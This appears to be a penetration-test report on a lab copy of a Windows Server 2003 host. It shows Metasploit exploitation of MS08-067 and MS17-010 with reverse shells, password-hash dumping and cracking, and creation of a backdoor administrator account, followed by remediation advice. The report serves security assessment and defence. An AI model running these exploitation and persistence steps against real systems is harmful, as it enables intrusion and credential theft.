HEITCH

Table of contents:

Summary:

Project overview:

Q_Industries engaged CyberHeitch to assess in the security of the server of Research and Development department. Due to the military industry application of some of technology, the information hold on their servers must be kept safe avoiding any type of leak or data breach. The following report details how the penetration test was performed, pointing out the vulnerabilities found and conclusions with advises with some measures that could be implement in order to improve the Cybersecurity and resilience.

Goals

- ✓ Identify the operation system and gather all the possible information that can be find about the target.
- ✓ Make an enumeration of the target.
- ✓ Perpetrate offensive actions towards the vulnerabilities with the information collected on Information gather and enumeration stages.
- ✓ Highlight the weaker points of the Q_Industries environment. Emphasising on the critical threats.
- ✓ Suggest possible actions to take in order to mitigate the vulnerably.

Threats found:

3 High Risk

1 Medium Risk

4 Total Risk Found

Scope

Windows server 2003 r2 3790 service pack 2

IP:192.168.15.131

Dates:

Starting date: 31/03/2021

Finish date:03/04/2021

Report delivery: 05/04/2021

Approach:

To perform the vulnerabilities detection and penetration test, the distribution Kali 2021 will be use. It is distribution of Linux design for cybersecurity professionals which contains multiple tools and software that allow from information gathering, enumeration of vulnerabilities to perform penetration test. The performing process addressed on this report will be develop over an OVA image of the real environment, to minimize the impact over the network during the assess.

The first step will be scanning the network using two different software: Nmap and Legion. Once this stage is complete, key information available of the server will be shown, including open ports, protocols and version using those open ports and some extra information that security issues can release.

The next step is when the penetration test is performed, using tools like Metasploit, which allows the exploitation of well know vulnerabilities that the weak points gathered on the enumeration stage have.

The last part of the report summarizes all the steps performed, emphasising on the vulnerabilities exploited and its risks. Finish with possible solutions of those issues and an argumentation of why a company ***Q_industries*** should apply those measures.

Assessment Report:

Enumeration:

The enumeration process is developed in two levels. First level a stealth attack using *Nmap*, which is based in Command line interface software. The second level is by the performance of an aggressive scan using *Legion*.

The first scan is set over the whole network ***192.168.15.0/24***. The goal is to reveal all the hosts that the network has, including the target machine. The results can be seen on (Figure 1), showing the IP of the server which is ***192.168.15.131***. The scan also reveals a numerous open port of TCP open.

```
msf6 > db_nmap -sS 192.168.15.0/24
[*] Nmap: Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 16:03 BST
[*] Nmap: Nmap scan report for 192.168.15.131
[*] Nmap: Host is up (0.00041s latency).
[*] Nmap: Not shown: 988 filtered ports
[*] Nmap: PORT     STATE  SERVICE
[*] Nmap: 21/tcp   open   ftp
[*] Nmap: 22/tcp   closed ssh
[*] Nmap: 23/tcp   open   telnet
[*] Nmap: 25/tcp   closed smtp
[*] Nmap: 80/tcp   open   http
[*] Nmap: 110/tcp  closed pop3
[*] Nmap: 139/tcp  open   netbios-ssn
[*] Nmap: 143/tcp  closed imap
[*] Nmap: 443/tcp  closed https
[*] Nmap: 445/tcp  open   microsoft-ds
[*] Nmap: 2869/tcp closed icslap
[*] Nmap: 3389/tcp closed ms-wbt-server
[*] Nmap: MAC Address: 00:0C:29:73:26:45 (VMware)
```

Figure 1: Scan of the network where the server is hosted

Continuing the first layer of the enumeration, the next scan will be targeting just the server's IP using more flags which are going to release more information. A stealth scan (Figure 2) reveals ports 21, 23, 80, 139 and 445. The ports revealing can be cause by misconfigurations on the firewall, which does not avoid 3-way handshakes communications.

Versions of the protocols working on the open ports (Figure 3) and the OS version of the server (Figure 4) are reveal. A last scan outputs that the protocols using UDP are all filtered by the firewall (Figure 5) which is a good sign regarding to the security.

```
[*] Nmap: Initiating SYN Stealth Scan at 16:36
[*] Nmap: Scanning 192.168.15.131 [65535 ports]
[*] Nmap: Discovered open port 80/tcp on 192.168.15.131
[*] Nmap: Discovered open port 139/tcp on 192.168.15.131
[*] Nmap: Discovered open port 445/tcp on 192.168.15.131
[*] Nmap: Discovered open port 23/tcp on 192.168.15.131
[*] Nmap: Discovered open port 21/tcp on 192.168.15.131
[*] Nmap: SYN Stealth Scan Timing: About 19.95% done; ETC: 16:39 (0:02:04 remaining)
[*] Nmap: SYN Stealth Scan Timing: About 47.86% done; ETC: 16:38 (0:01:06 remaining)
[*] Nmap: Completed SYN Stealth Scan at 16:38, 105.28s elapsed (65535 total ports)
```

Figure 2: Scan using Stealth mode over the server's IP

```
PORT     STATE  SERVICE       REASON      VERSION
21/tcp   open   tcpwrapped    syn-ack
22/tcp   closed ssh           conn-refused
23/tcp   open   telnet        syn-ack     Microsoft Windows XP telnetd (no more connections allowed)
25/tcp   closed smtp          conn-refused
80/tcp   open   http          syn-ack     Microsoft IIS httpd 6.0
110/tcp  closed pop3          conn-refused
139/tcp  open   netbios-ssn   syn-ack     Microsoft Windows netbios-ssn
143/tcp  closed imap          conn-refused
220/tcp  closed imap3         conn-refused
443/tcp  closed https         conn-refused
445/tcp  open   microsoft-ds  syn-ack     Microsoft Windows 2003 or 2008 microsoft-ds
2869/tcp closed icslap        conn-refused
3389/tcp closed ms-wbt-server conn-refused
MAC Address: 00:0C:29:73:26:45 (VMware)
Service Info: OSs: Windows XP, Windows; CPE: cpe:/o:microsoft:windows_xp, cpe:/o:microsoft:windows, c
```

Figure 3: Scan to gather versions of protocol over the target IP

```
MAC Address: 00:0C:29:73:26:45 (VMware)
Device type: general purpose
Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2, Microsoft Windows Server 2003 SP2
```

Figure 4: Scan using flag -O reveals the OS version

```
┌──(root💀heitch)-[/home/heitch]
└─# nmap -sU -vv 192.168.15.131
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-31 18:38 BST
Initiating ARP Ping Scan at 18:38
Scanning 192.168.15.131 [1 port]
Completed ARP Ping Scan at 18:38, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:38
Completed Parallel DNS resolution of 1 host. at 18:38, 13.01s elapsed
Initiating UDP Scan at 18:38
Scanning 192.168.15.131 [1000 ports]
Completed UDP Scan at 18:39, 21.61s elapsed (1000 total ports)
Nmap scan report for 192.168.15.131
Host is up, received arp-response (0.00049s latency).
All 1000 scanned ports on 192.168.15.131 are open|filtered because of 1000 no-responses
MAC Address: 00:0C:29:73:26:45 (VMware)
```

Figure 5: Scan develop over the UDP ports

The last test is focused on point out well-known vulnerabilities of open port's protocols. The scan reveals critical vulnerabilities on port 445. The vulnerabilities ***CVE-2008-4250*** and ***CVE-2017-0143.*** Both are very common on windows XP base systems.

```
Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
```

Figure 6: Vulnerabilities on open ports revealed using the --Script=vuln

The second layer on the information gathering is by using Legion. An aggressive scan over the target helps to check if there are any cyber-defence services protecting the server. As can be seen on the Figure 7, same ports are revealed that on first stage with the addition of port 137. Also, extra information regarding to the NetBIOS and usernames (figure 8) was gathered:

Port	Protocol	State	Name	Version
21	tcp	open	tcpwrapped	
23	tcp	open	telnet	Microsoft Windows XP telnetd (no more connections allowed)
80	tcp	open	http	Microsoft IIS httpd 6.0
137	udp	open	netbios-ns	Microsoft Windows netbios-ns (workgroup: WORKGROUP)
139	tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
445	tcp	open	microsoft-ds	Microsoft Windows 2003 or 2008 microsoft-ds

Figure 7: Scan ports with Legion tool

```
| Q-SERVER\Administrator (RID: 500)
|   Description: Built-in account for administering the computer/domain
|   Flags:       Password does not expire, Normal user account
| Q-SERVER\alice (RID: 1005)
|   Full name:   Allice Accounts
|   Description: Accounts Manager
|   Flags:       Password does not expire, Normal user account
| Q-SERVER\Guest (RID: 501)
|   Description: Built-in account for guest access to the computer/domain
|   Flags:       Account disabled, Password does not expire, Normal user account, Password not required
| Q-SERVER\IUSR_Q-SERVER (RID: 1002)
|   Full name:   Internet Guest Account
|   Description: Built-in account for anonymous access to Internet Information Services
|   Flags:       Password does not expire, Normal user account, Password not required
| Q-SERVER\IWAM_Q-SERVER (RID: 1003)
|   Full name:   Launch IIS Process Account
|   Description: Built-in account for Internet Information Services to start out of process applications
|   Flags:       Password does not expire, Normal user account, Password not required
| Q-SERVER\michael (RID: 1006)
|   Full name:   Magic Michael
|   Description: Manager of Magic
|_  Flags:       Password does not expire, Normal user account
```

Figure 8: Usernames showed with Legion

Exploitation:

On this stage, a potential attacker would take advantage of the information gathered on a solid enumeration process to exploit the vulnerabilities of a system. It does by using software that allows to attack weaknesses on the targeted system.

On this report, this stage will be performed with ***Metasploit***. A tool design to exploit systematic vulnerabilities on systems by using scripts and payloads. Once the attack is committed, and a remote access to the system is achieved. The next step is to find files which can lead to escalate the privileges and therefore a total control of the server.

Metasploit it a free open source software, so everyone can use it. Therefore, anyone with a minimum knowledge could commit this attack.

It is important to mention that this penetration test is committed from an ethical perspective. Everything gathered will be protected by a confidentiality agreement. On this stage, the report emulates how to exploit vulnerabilities and how data could be extract, on the same way that could be one on a real attack scenario.

To assure a strong security achievement, an intent of exploitation will be committed to every open port. Once the results are revealed, the report will remark the key points where the server is more vulnerable, to help on design a plan to implement solutions to those problems.

Exploitation of NetBIOS (Port 445):

The port 445 is used for SMB protocol on windows XP. This protocol is used to share files among windows systems. On a local network It should not be a risk to have it enable. But in case that the server is connected to internet is an important security risk.

The enumeration stage showed that the protocol version on port 445 may could be exploited by using two vulnerabilities, ***CVE-2008-4250*** and ***CVE-2017-0143***.

```
Matching Modules
================

   #  Name                                Disclosure Date  Rank   Check  Description
   -  ----                                ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.15.131
RHOST => 192.168.15.131
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.15.138
LHOST => 192.168.15.138
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 192.168.15.138:4444
[*] 192.168.15.131:445 - Automatically detecting the target...
[*] 192.168.15.131:445 - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] 192.168.15.131:445 - We could not detect the language pack, defaulting to English
[*] 192.168.15.131:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.15.131:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 192.168.15.131
[*] Meterpreter session 1 opened (192.168.15.138:4444 -> 192.168.15.131:1044) at 2021-04-01 15:33:13 +0100

meterpreter > ls

Listing: C:\WINDOWS\system32
----------------------------
```

Figure 9: Exploitation using the vulnerability CVE-2008-4250.

```
Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   2  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
   3  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows
   4  auxiliary/scanner/smb/smb_ms17_010                              normal   No     MS17-010 SMB RCE Detection
   5  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/smb/smb_doublepulsar_rce

msf6 > use 2
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.15.131
RHOST => 192.168.15.131
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.15.138
LHOST => 192.168.15.138
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 192.168.15.138:4444
[*] 192.168.15.131:445 - Target OS: Windows Server 2003 R2 3790 Service Pack 2
[*] 192.168.15.131:445 - Filling barrel with fish... done
[*] 192.168.15.131:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.15.131:445 -        [*] Preparing dynamite...
[*] 192.168.15.131:445 -                Trying stick 1 (x64)...Miss
[*] 192.168.15.131:445 -                [*] Trying stick 2 (x86)...Boom!
[*] 192.168.15.131:445 -        [+] Successfully Leaked Transaction!
[*] 192.168.15.131:445 -        [+] Successfully caught Fish-in-a-barrel
[*] 192.168.15.131:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.15.131:445 - Reading from CONNECTION struct at: 0x869a2d48
[*] 192.168.15.131:445 - Built a write-what-where primitive...
[+] 192.168.15.131:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.15.131:445 - Selecting native target
[*] 192.168.15.131:445 - Uploading payload... yOVRhsEl.exe
[*] 192.168.15.131:445 - Created \yOVRhsEl.exe...
[+] 192.168.15.131:445 - Service started successfully...
[*] Sending stage (175174 bytes) to 192.168.15.131
[*] 192.168.15.131:445 - Deleting \yOVRhsEl.exe...
[*] Meterpreter session 1 opened (192.168.15.138:4444 -> 192.168.15.131:1045) at 2021-04-01 15:39:41 +0100

meterpreter > pwd
C:\WINDOWS\system32
meterpreter >
```

Figure 10: Exploitation using CVE-2017-0143

Once both vulnerabilities tested positive, either of them can be used to get access any files holder on the server. Most likely an attacker will look for files which can hold passwords and usernames. This test the file extraction is made by reverse shell technique that allows to surf

through the folder and files. Once the system is exploit and a reverse shell is enabled, the command "*hashdump*" will reveal the users with their passphrase encrypted as the Figure 11 shows.

```
meterpreter > hashdump
Administrator:500:8d16f4badd1da493db2294261f598b4c:de42aba0252332ca4c9e31aaf79ca67c:::
alice:1005:c8c3358a4d4dc6dbc2265b23734e0dac:a33d7b3c435acfffae5a67a7fea94a2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IUSR_Q-SERVER:1002:ffdf5bea1a8856e651861d4af1774437:236c77b1b000cfec640039aa9103ce2f:::
IWAM_Q-SERVER:1003:6a6b44a97816b38e6760d06e6f5bc9a8:8f94cbf3a2dce939885187dbef5867dd:::
michael:1006:7353d46e19daad6f59b1f7d2f4b82c70:9f41e675f497c6f16ee37cb57fe752f9:::
meterpreter >
```

Figure 11:Usernames and Encrypted passwords

Even encrypted, it could be a very sensible information, specially in older operative systems where the encryptions weren't strong as nowadays are. In Windows systems older than 2008 the encryption type use is ***LM-hashes***, which can be easily decrypted by using tools like ***John the ripper*** combine with a passwords dictionary. As is showed on Figure 12, the passwords of 4 users are reveal, one of them with administrator credentials.

```
Administrator:SECRET1$:500:8d16f4badd1da493db2294261f598b4c:de42aba0252332ca4c9e31aaf79ca67c:::
alice:ALICE321:1005:c8c3358a4d4dc6dbc2265b23734e0dac:a33d7b3c435acfffae5a67a7fea94a2e:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
michael:CANYOUCRACKME:1006:7353d46e19daad6f59b1f7d2f4b82c70:9f41e675f497c6f16ee37cb57fe752f9:::

7 password hashes cracked, 4 left
```

Figure 12: Decrypted Passwords

Exploitation telnet (port 23):

Telnet is a protocol which allows remote connections to a system to take control it in the same way that an "on site" user would do. The main security issue that it carries is that its messages are sent in plaintext or unencrypted.

In the case that a remote access is not required have this port open could lead to a data breach and even to allow a potential attacker to take a total control of the environment.

As it was showed before, an extraction of usernames ad passwords was made through previous vulnerabilities exploitation. A connection through telnet using those credentials can be made successfully (Figure 13).

```
└─$ telnet 192.168.15.131 23
Trying 192.168.15.131...
Connected to 192.168.15.131.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: Administrator
password:

*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\Documents and Settings\Administrator.Q-SERVER>
```

Figure 13: Successfully connected as an administrator using telnet

Log in as an administrator, gives completely control, attackers can look for confidential information (Figure14), created or delete (Figure 15) or even create users (Figure 16). If an attacker is able to create an user and gives administrator privileges(Figure 17), even if the server administrator change the passwords of staff members and server administrators, the attacker would still be able to log in through a backdoor(Figure 18).

```
C:\Documents and Settings\Administrator.Q-SERVER\My Documents\accounts>type Secret.doc
{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}}
{\*\generator Msftedit 5.41.21.2500;}\viewkind4\uc1\pard\f0\fs20 This memo is for all staff at Q:\par
\par
We will be releasing Brian Manager from his contract at the end of the month, please ensure your passwords are changes by then.\par
}
```

Figure 14: Information of internal procedures revealed

```
 Directory of C:\Documents and Settings\Administrator.Q-SERVER\My Documents\accounts

03/03/2021  02:57 PM    <DIR>          .
03/03/2021  02:57 PM    <DIR>          ..
03/03/2021  02:56 PM                42 sales.csv
03/03/2021  02:57 PM               328 Secret.doc
               2 File(s)            370 bytes
               2 Dir(s)  17,323,921,408 bytes free

 Directory of C:\Documents and Settings\Administrator.Q-SERVER\My Documents\accounts

04/02/2021  02:21 PM    <DIR>          .
04/02/2021  02:21 PM    <DIR>          ..
03/03/2021  02:57 PM               328 Secret.doc
               1 File(s)            328 bytes
               2 Dir(s)  17,323,921,408 bytes free

C:\Documents and Settings\Administrator.Q-SERVER\My Documents\accounts>
```

Figure 15: File "sales.csv" deleted

```
C:\>net user

User accounts for \\Q-SERVER

-------------------------------------------------------------------------------
Administrator            alice                    Guest
heitch_backdoor          IUSR_Q-SERVER            IWAM_Q-SERVER
michael
The command completed successfully.
```

Figure 16:User created

```
C:\>net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
heitch_backdoor
The command completed successfully.
```

Figure 17:User added to administrators' group

```
└─$ telnet 192.168.15.131 23
Trying 192.168.15.131...
Connected to 192.168.15.131.
Escape character is '^]'.
Welcome to Microsoft Telnet Service

login: heitch_backdoor
password:

*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\>
```

Figure 18:Log in as a Backdoor user through telnet

Exploitation HTTP (port 80):

The enumeration revealed a response from port 80. This port is used by the HTTP protocol, which is the protocol use unencrypted websites. For a private server which is not used to host a website have internet protocols ports 80 or 443 is a configuration issue which could lead to a data breach.

An exploitation of port 80 using a vulnerability of the version IIS 6.0 of the HTTP protocol was not success (Figure 19). The reason of it is that the web service extension WebDAV is prohibited. This configuration avoids the exploitation of this vulnerability.

After checking what port 80 reveal online, it shows a website in disuse where none of the links work.

```
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 192.168.15.128:4444
[-] Exploit aborted due to failure: bad-config: Server did not respond correctly to WebDAV request
[*] Exploit completed, but no session was created.
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) >
```

Figure 19: Exploit over port 80

Exploitation FTP (port 21):

The port 21 is normally used by the TCP protocol. TCP allows communication between two computers. As it was seen on the enumeration the protocol seems to be “wrapped”. It means that is open but protected with some service like a firewall.

An exploit over the port was committed with no results (Figure 20), also an intent of connection to port 21 was done, in both cases the good configuration of the firewall did not allowed the connection (Figure 21).

```
msf6 exploit(windows/ftp/turboftp_port) > run

[*] Started reverse TCP handler on 192.168.15.128:4444
[*] 192.168.15.131:21 - Automatically detecting the target
[-] 192.168.15.131:21 - Exploit failed [disconnected]: Errno::ECONNRESET Connection
[*] Exploit completed, but no session was created.
msf6 exploit(windows/ftp/turboftp_port) > options

Module options (exploit/windows/ftp/turboftp_port):

   Name     Current Setting       Required  Description
   ----     ---------------       --------  -----------
   FTPPASS  mozilla@example.com   no        The password for the specified username
   FTPUSER  anonymous             no        The username to authenticate as
   RHOSTS   192.168.15.131        yes       The target host(s), range CIDR identifie
th>'
   RPORT    21                    yes       The target port (TCP)
```

Figure 20: temp to exploit port 21

```
┌──(heitch㉿heitch)-[~]
└─$ ftp  192.168.15.131 21
Connected to 192.168.15.131.
421 Service not available, remote server has closed connection
ftp>
```

Figure 21:temp to connect using TCP.

Implementation:

With all the information gathered and the performed system test, the report demonstrates that the system ***Windows server 2003 r2 3790 service pack 2*** is vulnerable and security measures must be implemented in order to correct the security issues discovered. The vulnerabilities are going to be summarized by level of threat.

High risk:

NetBIOS (CVE-2008-4250):
NetBIOS it is an application that provides communication services on local networks. It uses a software protocol called ***NetBIOS Frames*** that allows applications and computers on a local area network to communicate with network hardware and to transmit data across the network.

This type vulnerability is known as Execute CodeOverflow. It supposes a high risk for the system, because through a reverse shell technique could leads to a privilege escalation vulnerability. It gives total control of the serve, letting the attacker to extract, create, modify, or destroy files and information onto the system.

NetBIOS (CVE-2017-0143):
This vulnerability is Privilege escalation named EternalBlue/ EternalChampion/ WannaCry. It supposes a high risk for the system. Through a reverse shell technique could leads to a privilege escalation vulnerability. It gives total control of the serve, letting the attacker to extract, create, modify, or destroy files and information onto the system.

Telnet:
The protocol was well use in the past to communicate remotely with an environment, but nowadays is in disuse for problems regarding to the security of its communications. The main reason is because the information transferred using this protocol is not encrypted. A "*man on the middle*" technique could easily lead to intercept and understand all the information transmitted through it. New ways of remote control are use today like SSH. Similar than telnet but its messages are encrypted.
As has been showed, the risks that this port carries are significant. In case that login credentials are gathered, even if the previous vulnerabilities are mitigated, an attacker could get access through this port and as it was demonstrated, modify files, or even create users with administrator privileges.

Medium risk

HTTP:
It is the protocol used to transfer data over the web between servers and clients. It is part of the internet protocol used to transmit webpages information. The problem is the information is not encrypted which supposes a security issue.

Even if no exploitation was committed, have the port which hold this protocol open when the server does not hold a webserver, it is considered a potential security issue and must be addressed.

Secure development recommendations:

NetBIOS:
An upgrade will fix that issues related to port NetBIOS. Applying the patch MS08-067 and MS17-010 would mitigate the problem, but since XP environments are not support from Microsoft since 2014, the best decision that the company could take is to make a migration to a modern servers, which are more secure and safe.

Telnet:
To mitigate this vulnerability the best possible action to take is to close the port 23. In case that a remote access is necessary, the best possible actions will be to allow these transmissions through port 22 using SSH protocol instead

HTTP:
When a website is not host on a server, as is the case of the ***Windows server 2003 r2 3790 service pack 2*** targeted on this report, A completely close of port 80 would lead to a more secure environment.

Conclusions:

The findings during all the process of identification, enumeration, and exploitation on the system ***Windows server 2003 r2 3790 service pack 2*** of ***Q_industries***, displayed an important and severe vulnerabilities issues on the server. The implementation of the security measures pointed out on the implementation section could lead to achieve a safer environment. But hold all the data on a non-manufacture supported server it is a high risk itself

Data breach is always problematic. It causes harms in many ways, economical, logistical and as a brand name. But it could be even more critical in a company like ***Q_Indestries*** which holds which military technology. Therefore, the best recommendation that can be addressed, is migrate to a modern server like windows server 2019 which could be the best solution to protect sensible information.